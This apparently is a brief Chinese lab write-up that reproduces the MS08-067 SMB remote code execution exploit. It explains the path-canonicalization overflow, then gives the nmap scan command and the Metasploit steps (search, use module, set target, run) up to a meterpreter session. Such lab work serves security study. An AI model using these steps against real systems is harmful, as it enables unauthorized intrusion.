MS08_067漏洞利用复现

漏洞分析：

MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时，会调用NetpwPathCanonicalize函数，对远程访问的路径进行规范化，而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误（溢出），造成可被利用实施远程代码执行（Remote Code Execution）。后续部分我将分析该漏洞的CFG流程图及漏洞成因

使用nmap扫描发现445端口开放，判断这是ms08-067漏洞

命令：nmap -sV -p- 172.16.109.107 -T5    // -p- 的意思是扫描全部端口

使用msf进行攻击，终端输入msfconsole

输入命令：search ms08-067

 

 调用模块并配置，使用命令use + 模块名

 调出所有可以使用的target，并使用相对应的target，就是配置相对应的操作系统

输入run或者exploit进行攻击

出现 meterpreter> ，证明我们渗透成功

复现成功！